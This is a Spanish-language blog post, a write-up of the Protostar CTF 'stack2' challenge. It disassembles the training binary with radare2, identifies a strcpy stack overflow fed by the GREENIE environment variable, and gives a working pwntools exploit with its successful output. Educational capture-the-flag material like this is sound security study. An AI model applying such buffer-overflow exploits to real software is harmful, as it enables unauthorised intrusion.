Pages

domingo, 29 de julio de 2018

Protostar CTF - stack2

Esta vez, ./stack2 explora otras fuentes de entrada como las variables de entorno que recibe el proceso:

dpc@kernelinside:~/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable

Podemos comprobar con ltrace si efectivamente la variable de entorno GREENIE es leída por ./stack2:

dpc@kernelinside:~/protostar/bin$ ltrace ./stack2
__libc_start_main(0x8048494, 1, 0xfff1cb94, 0x8048530 <unfinished ...>
getenv("GREENIE")                                     = nil
errx(1, 0x80485e8, 0, 0x4c5c2c00stack2: please set the GREENIE environment variable

Bien. Ahora r2 nos revelará cuál es el destino del contenido de dicha variable y si el input puede explotar algún fallo de programación:

dpc@kernelinside:~/protostar/bin$ r2 ./stack2
 -- Don't do this.
[0x080483e0]> aas
[0x080483e0]> e asm.bytes=false
[0x080483e0]> iz
000 0x000005e0 0x080485e0   7   8 (.rodata) ascii GREENIE
001 0x000005e8 0x080485e8  44  45 (.rodata) ascii please set the GREENIE environment variable\n
002 0x00000618 0x08048618  40  41 (.rodata) ascii you have correctly modified the variable
003 0x00000641 0x08048641  26  27 (.rodata) ascii Try again, you got 0x%08x\n
[0x080483e0]> afl
0x08048000   32 860  -> 861  segment.LOAD0
0x08048114   27 584  -> 631  segment.INTERP
0x0804835c    1 12           fcn.0804835c
0x0804836c    1 6            loc.imp.__gmon_start
0x0804837c    1 6            sym.imp.getenv
0x0804838c    1 6            sym.imp.__libc_start_main
0x0804839c    1 6            sym.imp.strcpy
0x080483ac    1 6            sym.imp.printf
0x080483bc    1 6            sym.imp.errx
0x080483cc    1 6            sym.imp.puts
0x080483e0    1 33           sym._start
0x08048410    6 85           sym.__do_global_dtors_aux
0x08048470    4 35           sym.frame_dummy
0x08048494    6 128          main
0x08048520    1 5            sym.__libc_csu_fini
0x08048530    4 90           sym.__libc_csu_init
0x0804858a    1 4            sym.__i686.get_pc_thunk.bx
0x08048590    4 42           sym.__do_global_ctors_aux
0x080485bc    1 28           sym._fini
0x080485d8   21 137  -> 139  obj._fp_hw

Hasta aquí todo huele como en ./stack1. Nos situamos en main() y desensamblamos la función:

[0x080483e0]> s main
[0x08048494]> pdf
/ (fcn) main 128
|   main ();
|           ; var int local_4h @ esp+0x4
|           ; var int local_18h @ esp+0x18
|           ; var int local_58h @ esp+0x58
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x80483f7)
|           0x08048494      push ebp
|           0x08048495      mov ebp, esp
|           0x08048497      and esp, 0xfffffff0
|           0x0804849a      sub esp, 0x60                              ; '`'
|           0x0804849d      mov dword [esp], str.GREENIE               ; [0x80485e0:4]=0x45455247 ; "GREENIE"
|           0x080484a4      call sym.imp.getenv                        ; char *getenv(const char *name)
|           0x080484a9      mov dword [local_5ch], eax
|           0x080484ad      cmp dword [local_5ch], 0
|       ,=< 0x080484b2      jne 0x80484c8
|       |   0x080484b4      mov dword [local_4h], str.please_set_the_GREENIE_environment_variable ; [0x80485e8:4]=0x61656c70 ; "please set the GREENIE environment variable\n"
|       |   0x080484bc      mov dword [esp], 1
|       |   0x080484c3      call sym.imp.errx

getenv() lee el contenido de la variable de entorno GREENIE y guarda un puntero hacia el mismo en local_5ch, al que llamaremos greenie_ptr. En caso de error se imprime un error y el proceso finaliza. Si todo ha ido bien seguimos aquí:

|       `-> 0x080484c8      mov dword [local_58h], 0
|           0x080484d0      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|           0x080484d4      mov dword [local_4h], eax
|           0x080484d8      lea eax, [local_18h]                       ; 0x18 ; 24
|           0x080484dc      mov dword [esp], eax
|           0x080484df      call sym.imp.strcpy                        ; char *strcpy(char *dest, const char *src)

La variable local_58h (canary) se establece a 0 y luego se llama a strcpy(), que copiará el contenido de la variable de entorno GREENIE en local_18h (buffer).

|           0x080484e4      mov eax, dword [local_58h]                 ; [0x58:4]=-1 ; 'X' ; 88
|           0x080484e8      cmp eax, 0xd0a0d0a
|       ,=< 0x080484ed      jne 0x80484fd
|       |   0x080484ef      mov dword [esp], str.you_have_correctly_modified_the_variable ; [0x8048618:4]=0x20756f79 ; "you have correctly modified the variable"
|       |   0x080484f6      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x080484fb      jmp 0x8048512

Si el canary coincide con la constante 0xd0a0d0a habemus chico bueno, sino...

|      |`-> 0x080484fd      mov edx, dword [local_58h]                 ; [0x58:4]=-1 ; 'X' ; 88
|      |    0x08048501      mov eax, str.Try_again__you_got_0x_08x     ; 0x8048641 ; "Try again, you got 0x%08x\n"
|      |    0x08048506      mov dword [local_4h], edx
|      |    0x0804850a      mov dword [esp], eax
|      |    0x0804850d      call sym.imp.printf                        ; int printf(const char *format)
|      |    ; CODE XREF from main (0x80484fb)
|      `--> 0x08048512      leave
\           0x08048513      ret

El proceso lo siente mucho pero debemos volver a intentarlo.

El uso de strcpy() vuelve a ser inapropiado, pues el programador no ha previsto la posibilidad de que el contenido de la variable de entorno GREENIE exceda la capacidad del buffer (64 bytes) donde este se copirá, con el consecuente desbordamiento y sobreescritura de datos en el stack. El exploit se muestra a continuación:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack2"

padding = "A"*64
canary  = 0xd0a0d0a

def exploit():
    payload = padding + p32(canary)
    p = process(argv=[context.binary.path], env={"GREENIE":payload})
    print(p.recv())

if __name__ == "__main__":
    exploit()

La suerte sonrie a los valientes:

dpc@kernelinside:~/protostar/bin$ python ./exp_stack2.py 
[*] '/home/dpc/protostar/bin/stack2'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack2': pid 1758
[*] Process '/home/dpc/protostar/bin/stack2' stopped with exit code 41 (pid 1758)
you have correctly modified the variable

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...